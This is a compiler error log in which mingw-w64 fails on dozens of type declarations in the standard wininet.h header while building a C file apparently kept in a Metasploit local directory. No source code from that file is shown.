-/usr/share/mingw-w64/include/wininet.h:800:5: error: unknown type name ‘INT’ - 800 | INT MinutesNorth; - | ^~~ -/usr/share/mingw-w64/include/wininet.h:801:5: error: unknown type name ‘INT’ - 801 | INT SecondsNorth; - | ^~~ -/usr/share/mingw-w64/include/wininet.h:802:5: error: unknown type name ‘INT’ - 802 | INT DegreesEast; - | ^~~ -/usr/share/mingw-w64/include/wininet.h:803:5: error: unknown type name ‘INT’ - 803 | INT MinutesEast; - | ^~~ -/usr/share/mingw-w64/include/wininet.h:804:5: error: unknown type name ‘INT’ - 804 | INT SecondsEast; - | ^~~ -/usr/share/mingw-w64/include/wininet.h:808:5: error: unknown type name ‘INT’ - 808 | INT Zone; - | ^~~ -/usr/share/mingw-w64/include/wininet.h:812:5: error: unknown type name ‘LPCTSTR’ - 812 | LPCTSTR Provider; - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:816:5: error: unknown type name ‘LPCTSTR’ - 816 | LPCTSTR Version; - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:820:5: error: unknown type name ‘LPCTSTR’ - 820 | LPCTSTR ShortAbstract; - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:821:5: error: unknown type name ‘LPCTSTR’ - 821 | LPCTSTR AbstractFile; - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:825:5: error: unknown type name ‘LPCTSTR’ - 825 | LPCTSTR ContentType; - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:826:5: error: unknown type name ‘LPCTSTR’ - 826 | LPCTSTR Language; - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:827:5: error: unknown type name ‘DWORD’ - 827 | DWORD Size; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:831:5: error: unknown type name ‘WINBOOL’ - 831 | WINBOOL TreeWalk; - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:835:5: error: unknown type name ‘LPCTSTR’ - 835 | LPCTSTR QuestionType; - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:836:5: error: unknown type name ‘LPCTSTR’ - 836 | LPCTSTR QuestionText; - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:840:5: error: unknown type name ‘LPCTSTR’ - 840 | LPCTSTR Text; - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:844:5: error: unknown type name ‘DWORD’ - 844 | DWORD CategoryId; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:845:5: error: unknown type name ‘DWORD’ - 845 | DWORD AttributeId; - | ^~~~~ -In file included from /home/araout/.msf4/local/QwByG.c:4: -/usr/share/mingw-w64/include/wininet.h:932:3: error: unknown type name ‘EXTERN_C’ - 932 | BOOLAPI GopherCreateLocatorA(LPCSTR lpszHost,INTERNET_PORT nServerPort,LPCSTR lpszDisplayString,LPCSTR lpszSelectorString,DWORD dwGopherType,LPSTR lpszLocator,LPDWORD lpdwBufferLength); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:932:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 932 | BOOLAPI GopherCreateLocatorA(LPCSTR lpszHost,INTERNET_PORT nServerPort,LPCSTR lpszDisplayString,LPCSTR lpszSelectorString,DWORD dwGopherType,LPSTR lpszLocator,LPDWORD lpdwBufferLength); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:932:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:933:3: error: unknown type name ‘EXTERN_C’ - 933 | BOOLAPI GopherCreateLocatorW(LPCWSTR lpszHost,INTERNET_PORT nServerPort,LPCWSTR lpszDisplayString,LPCWSTR lpszSelectorString,DWORD dwGopherType,LPWSTR lpszLocator,LPDWORD lpdwBufferLength); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:933:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 933 | BOOLAPI GopherCreateLocatorW(LPCWSTR lpszHost,INTERNET_PORT nServerPort,LPCWSTR lpszDisplayString,LPCWSTR lpszSelectorString,DWORD dwGopherType,LPWSTR lpszLocator,LPDWORD lpdwBufferLength); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:933:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:934:3: error: unknown type name ‘EXTERN_C’ - 934 | BOOLAPI GopherGetLocatorTypeA(LPCSTR lpszLocator,LPDWORD lpdwGopherType); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:934:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 934 | BOOLAPI GopherGetLocatorTypeA(LPCSTR lpszLocator,LPDWORD lpdwGopherType); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:934:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:935:3: error: unknown type name ‘EXTERN_C’ - 935 | BOOLAPI GopherGetLocatorTypeW(LPCWSTR lpszLocator,LPDWORD lpdwGopherType); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:935:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 935 | BOOLAPI GopherGetLocatorTypeW(LPCWSTR lpszLocator,LPDWORD lpdwGopherType); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:935:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:936:3: error: unknown type name ‘EXTERN_C’ - 936 | INTERNETAPI_(HINTERNET) GopherFindFirstFileA(HINTERNET hConnect,LPCSTR lpszLocator,LPCSTR lpszSearchString,LPGOPHER_FIND_DATAA lpFindData,DWORD dwFlags,DWORD_PTR dwContext); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:936:3: error: expected ‘;’ before ‘HINTERNET’ - 936 | INTERNETAPI_(HINTERNET) GopherFindFirstFileA(HINTERNET hConnect,LPCSTR lpszLocator,LPCSTR lpszSearchString,LPGOPHER_FIND_DATAA lpFindData,DWORD dwFlags,DWORD_PTR dwContext); - | ^~~~~~~~~~~~ -In file included from /home/araout/.msf4/local/QwByG.c:4: -/usr/share/mingw-w64/include/wininet.h:936:27: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘GopherFindFirstFileA’ - 936 | INTERNETAPI_(HINTERNET) GopherFindFirstFileA(HINTERNET hConnect,LPCSTR lpszLocator,LPCSTR lpszSearchString,LPGOPHER_FIND_DATAA lpFindData,DWORD dwFlags,DWORD_PTR dwContext); - | ^~~~~~~~~~~~~~~~~~~~ -In file included from /home/araout/.msf4/local/QwByG.c:4: -/usr/share/mingw-w64/include/wininet.h:937:3: error: unknown type name ‘EXTERN_C’ - 937 | INTERNETAPI_(HINTERNET) GopherFindFirstFileW(HINTERNET hConnect,LPCWSTR lpszLocator,LPCWSTR lpszSearchString,LPGOPHER_FIND_DATAW lpFindData,DWORD dwFlags,DWORD_PTR dwContext); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:937:3: error: expected ‘;’ before ‘HINTERNET’ - 937 | INTERNETAPI_(HINTERNET) GopherFindFirstFileW(HINTERNET hConnect,LPCWSTR lpszLocator,LPCWSTR lpszSearchString,LPGOPHER_FIND_DATAW lpFindData,DWORD dwFlags,DWORD_PTR dwContext); - | ^~~~~~~~~~~~ -In file included from /home/araout/.msf4/local/QwByG.c:4: -/usr/share/mingw-w64/include/wininet.h:937:27: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘GopherFindFirstFileW’ - 937 | INTERNETAPI_(HINTERNET) GopherFindFirstFileW(HINTERNET hConnect,LPCWSTR lpszLocator,LPCWSTR lpszSearchString,LPGOPHER_FIND_DATAW lpFindData,DWORD dwFlags,DWORD_PTR dwContext); - | ^~~~~~~~~~~~~~~~~~~~ -In file included from /home/araout/.msf4/local/QwByG.c:4: -/usr/share/mingw-w64/include/wininet.h:938:3: error: unknown type name ‘EXTERN_C’ - 938 | INTERNETAPI_(HINTERNET) GopherOpenFileA(HINTERNET hConnect,LPCSTR lpszLocator,LPCSTR lpszView,DWORD dwFlags,DWORD_PTR dwContext); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:938:3: error: expected ‘;’ before ‘HINTERNET’ - 938 | INTERNETAPI_(HINTERNET) GopherOpenFileA(HINTERNET hConnect,LPCSTR lpszLocator,LPCSTR lpszView,DWORD dwFlags,DWORD_PTR dwContext); - | ^~~~~~~~~~~~ -In file included from /home/araout/.msf4/local/QwByG.c:4: -/usr/share/mingw-w64/include/wininet.h:938:27: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘GopherOpenFileA’ - 938 | INTERNETAPI_(HINTERNET) GopherOpenFileA(HINTERNET hConnect,LPCSTR lpszLocator,LPCSTR lpszView,DWORD dwFlags,DWORD_PTR dwContext); - | ^~~~~~~~~~~~~~~ -In file included from /home/araout/.msf4/local/QwByG.c:4: -/usr/share/mingw-w64/include/wininet.h:939:3: error: unknown type name ‘EXTERN_C’ - 939 | INTERNETAPI_(HINTERNET) GopherOpenFileW(HINTERNET hConnect,LPCWSTR lpszLocator,LPCWSTR lpszView,DWORD dwFlags,DWORD_PTR dwContext); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:939:3: error: expected ‘;’ before ‘HINTERNET’ - 939 | INTERNETAPI_(HINTERNET) GopherOpenFileW(HINTERNET hConnect,LPCWSTR lpszLocator,LPCWSTR lpszView,DWORD dwFlags,DWORD_PTR dwContext); - | ^~~~~~~~~~~~ -In file included from /home/araout/.msf4/local/QwByG.c:4: -/usr/share/mingw-w64/include/wininet.h:939:27: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘GopherOpenFileW’ - 939 | INTERNETAPI_(HINTERNET) GopherOpenFileW(HINTERNET hConnect,LPCWSTR lpszLocator,LPCWSTR lpszView,DWORD dwFlags,DWORD_PTR dwContext); - | ^~~~~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:941:20: error: unknown type name ‘CALLBACK’ - 941 | typedef WINBOOL (CALLBACK *GOPHER_ATTRIBUTE_ENUMERATOR)(LPGOPHER_ATTRIBUTE_TYPE lpAttributeInfo,DWORD dwError); - | ^~~~~~~~ -In file included from /home/araout/.msf4/local/QwByG.c:4: -/usr/share/mingw-w64/include/wininet.h:943:3: error: unknown type name ‘EXTERN_C’ - 943 | BOOLAPI GopherGetAttributeA(HINTERNET hConnect,LPCSTR lpszLocator,LPCSTR lpszAttributeName,LPBYTE lpBuffer,DWORD dwBufferLength,LPDWORD lpdwCharactersReturned,GOPHER_ATTRIBUTE_ENUMERATOR lpfnEnumerator,DWORD_PTR dwContext); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:943:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 943 | BOOLAPI GopherGetAttributeA(HINTERNET hConnect,LPCSTR lpszLocator,LPCSTR lpszAttributeName,LPBYTE lpBuffer,DWORD dwBufferLength,LPDWORD lpdwCharactersReturned,GOPHER_ATTRIBUTE_ENUMERATOR lpfnEnumerator,DWORD_PTR dwContext); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:943:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:944:3: error: unknown type name ‘EXTERN_C’ - 944 | BOOLAPI GopherGetAttributeW(HINTERNET hConnect,LPCWSTR lpszLocator,LPCWSTR lpszAttributeName,LPBYTE lpBuffer,DWORD dwBufferLength,LPDWORD lpdwCharactersReturned,GOPHER_ATTRIBUTE_ENUMERATOR lpfnEnumerator,DWORD_PTR dwContext); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:944:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 944 | BOOLAPI GopherGetAttributeW(HINTERNET hConnect,LPCWSTR lpszLocator,LPCWSTR lpszAttributeName,LPBYTE lpBuffer,DWORD dwBufferLength,LPDWORD lpdwCharactersReturned,GOPHER_ATTRIBUTE_ENUMERATOR lpfnEnumerator,DWORD_PTR dwContext); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:944:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:1098:3: error: unknown type name ‘EXTERN_C’ - 1098 | INTERNETAPI_(HINTERNET) HttpOpenRequestA(HINTERNET hConnect,LPCSTR lpszVerb,LPCSTR lpszObjectName,LPCSTR lpszVersion,LPCSTR lpszReferrer,LPCSTR *lplpszAcceptTypes,DWORD dwFlags,DWORD_PTR dwContext); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1098:3: error: expected ‘;’ before ‘HINTERNET’ - 1098 | INTERNETAPI_(HINTERNET) HttpOpenRequestA(HINTERNET hConnect,LPCSTR lpszVerb,LPCSTR lpszObjectName,LPCSTR lpszVersion,LPCSTR lpszReferrer,LPCSTR *lplpszAcceptTypes,DWORD dwFlags,DWORD_PTR dwContext); - | ^~~~~~~~~~~~ -In file included from /home/araout/.msf4/local/QwByG.c:4: -/usr/share/mingw-w64/include/wininet.h:1098:27: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘HttpOpenRequestA’ - 1098 | INTERNETAPI_(HINTERNET) HttpOpenRequestA(HINTERNET hConnect,LPCSTR lpszVerb,LPCSTR lpszObjectName,LPCSTR lpszVersion,LPCSTR lpszReferrer,LPCSTR *lplpszAcceptTypes,DWORD dwFlags,DWORD_PTR dwContext); - | ^~~~~~~~~~~~~~~~ -In file included from /home/araout/.msf4/local/QwByG.c:4: -/usr/share/mingw-w64/include/wininet.h:1099:3: error: unknown type name ‘EXTERN_C’ - 1099 | INTERNETAPI_(HINTERNET) HttpOpenRequestW(HINTERNET hConnect,LPCWSTR lpszVerb,LPCWSTR lpszObjectName,LPCWSTR lpszVersion,LPCWSTR lpszReferrer,LPCWSTR *lplpszAcceptTypes,DWORD dwFlags,DWORD_PTR dwContext); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1099:3: error: expected ‘;’ before ‘HINTERNET’ - 1099 | INTERNETAPI_(HINTERNET) HttpOpenRequestW(HINTERNET hConnect,LPCWSTR lpszVerb,LPCWSTR lpszObjectName,LPCWSTR lpszVersion,LPCWSTR lpszReferrer,LPCWSTR *lplpszAcceptTypes,DWORD dwFlags,DWORD_PTR dwContext); - | ^~~~~~~~~~~~ -In file included from /home/araout/.msf4/local/QwByG.c:4: -/usr/share/mingw-w64/include/wininet.h:1099:27: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘HttpOpenRequestW’ - 1099 | INTERNETAPI_(HINTERNET) HttpOpenRequestW(HINTERNET hConnect,LPCWSTR lpszVerb,LPCWSTR lpszObjectName,LPCWSTR lpszVersion,LPCWSTR lpszReferrer,LPCWSTR *lplpszAcceptTypes,DWORD dwFlags,DWORD_PTR dwContext); - | ^~~~~~~~~~~~~~~~ -In file included from /home/araout/.msf4/local/QwByG.c:4: -/usr/share/mingw-w64/include/wininet.h:1100:3: error: unknown type name ‘EXTERN_C’ - 1100 | BOOLAPI HttpAddRequestHeadersA(HINTERNET hRequest,LPCSTR lpszHeaders,DWORD dwHeadersLength,DWORD dwModifiers); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1100:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 1100 | BOOLAPI HttpAddRequestHeadersA(HINTERNET hRequest,LPCSTR lpszHeaders,DWORD dwHeadersLength,DWORD dwModifiers); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1100:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:1101:3: error: unknown type name ‘EXTERN_C’ - 1101 | BOOLAPI HttpAddRequestHeadersW(HINTERNET hRequest,LPCWSTR lpszHeaders,DWORD dwHeadersLength,DWORD dwModifiers); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1101:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 1101 | BOOLAPI HttpAddRequestHeadersW(HINTERNET hRequest,LPCWSTR lpszHeaders,DWORD dwHeadersLength,DWORD dwModifiers); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1101:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:1116:3: error: unknown type name ‘EXTERN_C’ - 1116 | BOOLAPI HttpSendRequestA(HINTERNET hRequest,LPCSTR lpszHeaders,DWORD dwHeadersLength,LPVOID lpOptional,DWORD dwOptionalLength); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1116:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 1116 | BOOLAPI HttpSendRequestA(HINTERNET hRequest,LPCSTR lpszHeaders,DWORD dwHeadersLength,LPVOID lpOptional,DWORD dwOptionalLength); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1116:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:1117:3: error: unknown type name ‘EXTERN_C’ - 1117 | BOOLAPI HttpSendRequestW(HINTERNET hRequest,LPCWSTR lpszHeaders,DWORD dwHeadersLength,LPVOID lpOptional,DWORD dwOptionalLength); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1117:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 1117 | BOOLAPI HttpSendRequestW(HINTERNET hRequest,LPCWSTR lpszHeaders,DWORD dwHeadersLength,LPVOID lpOptional,DWORD dwOptionalLength); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1117:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:1118:3: error: unknown type name ‘EXTERN_C’ - 1118 | INTERNETAPI_(WINBOOL) HttpSendRequestExA(HINTERNET hRequest,LPINTERNET_BUFFERSA lpBuffersIn,LPINTERNET_BUFFERSA lpBuffersOut,DWORD dwFlags,DWORD_PTR dwContext); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1118:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 1118 | INTERNETAPI_(WINBOOL) HttpSendRequestExA(HINTERNET hRequest,LPINTERNET_BUFFERSA lpBuffersIn,LPINTERNET_BUFFERSA lpBuffersOut,DWORD dwFlags,DWORD_PTR dwContext); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1118:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:1119:3: error: unknown type name ‘EXTERN_C’ - 1119 | INTERNETAPI_(WINBOOL) HttpSendRequestExW(HINTERNET hRequest,LPINTERNET_BUFFERSW lpBuffersIn,LPINTERNET_BUFFERSW lpBuffersOut,DWORD dwFlags,DWORD_PTR dwContext); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1119:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 1119 | INTERNETAPI_(WINBOOL) HttpSendRequestExW(HINTERNET hRequest,LPINTERNET_BUFFERSW lpBuffersIn,LPINTERNET_BUFFERSW lpBuffersOut,DWORD dwFlags,DWORD_PTR dwContext); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1119:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:1131:3: error: unknown type name ‘EXTERN_C’ - 1131 | INTERNETAPI_(WINBOOL) HttpEndRequestA(HINTERNET hRequest,LPINTERNET_BUFFERSA lpBuffersOut,DWORD dwFlags,DWORD_PTR dwContext); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1131:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 1131 | INTERNETAPI_(WINBOOL) HttpEndRequestA(HINTERNET hRequest,LPINTERNET_BUFFERSA lpBuffersOut,DWORD dwFlags,DWORD_PTR dwContext); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1131:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:1132:3: error: unknown type name ‘EXTERN_C’ - 1132 | INTERNETAPI_(WINBOOL) HttpEndRequestW(HINTERNET hRequest,LPINTERNET_BUFFERSW lpBuffersOut,DWORD dwFlags,DWORD_PTR dwContext); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1132:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 1132 | INTERNETAPI_(WINBOOL) HttpEndRequestW(HINTERNET hRequest,LPINTERNET_BUFFERSW lpBuffersOut,DWORD dwFlags,DWORD_PTR dwContext); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1132:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:1133:3: error: unknown type name ‘EXTERN_C’ - 1133 | BOOLAPI HttpQueryInfoA(HINTERNET hRequest,DWORD dwInfoLevel,LPVOID lpBuffer,LPDWORD lpdwBufferLength,LPDWORD lpdwIndex); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1133:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 1133 | BOOLAPI HttpQueryInfoA(HINTERNET hRequest,DWORD dwInfoLevel,LPVOID lpBuffer,LPDWORD lpdwBufferLength,LPDWORD lpdwIndex); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1133:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:1134:3: error: unknown type name ‘EXTERN_C’ - 1134 | BOOLAPI HttpQueryInfoW(HINTERNET hRequest,DWORD dwInfoLevel,LPVOID lpBuffer,LPDWORD lpdwBufferLength,LPDWORD lpdwIndex); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1134:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 1134 | BOOLAPI HttpQueryInfoW(HINTERNET hRequest,DWORD dwInfoLevel,LPVOID lpBuffer,LPDWORD lpdwBufferLength,LPDWORD lpdwIndex); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1134:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:1155:3: error: unknown type name ‘EXTERN_C’ - 1155 | BOOLAPI InternetSetCookieA(LPCSTR lpszUrl,LPCSTR lpszCookieName,LPCSTR lpszCookieData); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1155:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 1155 | BOOLAPI InternetSetCookieA(LPCSTR lpszUrl,LPCSTR lpszCookieName,LPCSTR lpszCookieData); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1155:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:1156:3: error: unknown type name ‘EXTERN_C’ - 1156 | BOOLAPI InternetSetCookieW(LPCWSTR lpszUrl,LPCWSTR lpszCookieName,LPCWSTR lpszCookieData); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1156:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 1156 | BOOLAPI InternetSetCookieW(LPCWSTR lpszUrl,LPCWSTR lpszCookieName,LPCWSTR lpszCookieData); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1156:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:1157:3: error: unknown type name ‘EXTERN_C’ - 1157 | BOOLAPI InternetGetCookieA(LPCSTR lpszUrl,LPCSTR lpszCookieName,LPSTR lpszCookieData,LPDWORD lpdwSize); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1157:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 1157 | BOOLAPI InternetGetCookieA(LPCSTR lpszUrl,LPCSTR lpszCookieName,LPSTR lpszCookieData,LPDWORD lpdwSize); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1157:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:1158:3: error: unknown type name ‘EXTERN_C’ - 1158 | BOOLAPI InternetGetCookieW(LPCWSTR lpszUrl,LPCWSTR lpszCookieName,LPWSTR lpszCookieData,LPDWORD lpdwSize); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1158:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 1158 | BOOLAPI InternetGetCookieW(LPCWSTR lpszUrl,LPCWSTR lpszCookieName,LPWSTR lpszCookieData,LPDWORD lpdwSize); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1158:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:1159:3: error: unknown type name ‘EXTERN_C’ - 1159 | INTERNETAPI_(DWORD) InternetSetCookieExA(LPCSTR lpszUrl,LPCSTR lpszCookieName,LPCSTR lpszCookieData,DWORD dwFlags,DWORD_PTR dwReserved); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1159:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘DWORD’ - 1159 | INTERNETAPI_(DWORD) InternetSetCookieExA(LPCSTR lpszUrl,LPCSTR lpszCookieName,LPCSTR lpszCookieData,DWORD dwFlags,DWORD_PTR dwReserved); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1159:3: error: unknown type name ‘DWORD’ -/usr/share/mingw-w64/include/wininet.h:1160:3: error: unknown type name ‘EXTERN_C’ - 1160 | INTERNETAPI_(DWORD) InternetSetCookieExW(LPCWSTR lpszUrl,LPCWSTR lpszCookieName,LPCWSTR lpszCookieData,DWORD dwFlags,DWORD_PTR dwReserved); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1160:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘DWORD’ - 1160 | INTERNETAPI_(DWORD) InternetSetCookieExW(LPCWSTR lpszUrl,LPCWSTR lpszCookieName,LPCWSTR lpszCookieData,DWORD dwFlags,DWORD_PTR dwReserved); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1160:3: error: unknown type name ‘DWORD’ -/usr/share/mingw-w64/include/wininet.h:1161:3: error: unknown type name ‘EXTERN_C’ - 1161 | BOOLAPI InternetGetCookieExA(LPCSTR lpszUrl,LPCSTR lpszCookieName,LPSTR lpszCookieData,LPDWORD lpdwSize,DWORD dwFlags,LPVOID lpReserved); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1161:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 1161 | BOOLAPI InternetGetCookieExA(LPCSTR lpszUrl,LPCSTR lpszCookieName,LPSTR lpszCookieData,LPDWORD lpdwSize,DWORD dwFlags,LPVOID lpReserved); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1161:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:1162:3: error: unknown type name ‘EXTERN_C’ - 1162 | BOOLAPI InternetGetCookieExW(LPCWSTR lpszUrl,LPCWSTR lpszCookieName,LPWSTR lpszCookieData,LPDWORD lpdwSize,DWORD dwFlags,LPVOID lpReserved); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1162:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 1162 | BOOLAPI InternetGetCookieExW(LPCWSTR lpszUrl,LPCWSTR lpszCookieName,LPWSTR lpszCookieData,LPDWORD lpdwSize,DWORD dwFlags,LPVOID lpReserved); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1162:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:1163:3: error: unknown type name ‘EXTERN_C’ - 1163 | INTERNETAPI_(DWORD) InternetAttemptConnect(DWORD dwReserved); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1163:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘DWORD’ - 1163 | INTERNETAPI_(DWORD) InternetAttemptConnect(DWORD dwReserved); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1163:3: error: unknown type name ‘DWORD’ -/usr/share/mingw-w64/include/wininet.h:1164:3: error: unknown type name ‘EXTERN_C’ - 1164 | BOOLAPI InternetCheckConnectionA(LPCSTR lpszUrl,DWORD dwFlags,DWORD dwReserved); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1164:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 1164 | BOOLAPI InternetCheckConnectionA(LPCSTR lpszUrl,DWORD dwFlags,DWORD dwReserved); - | ^~~~~~~ 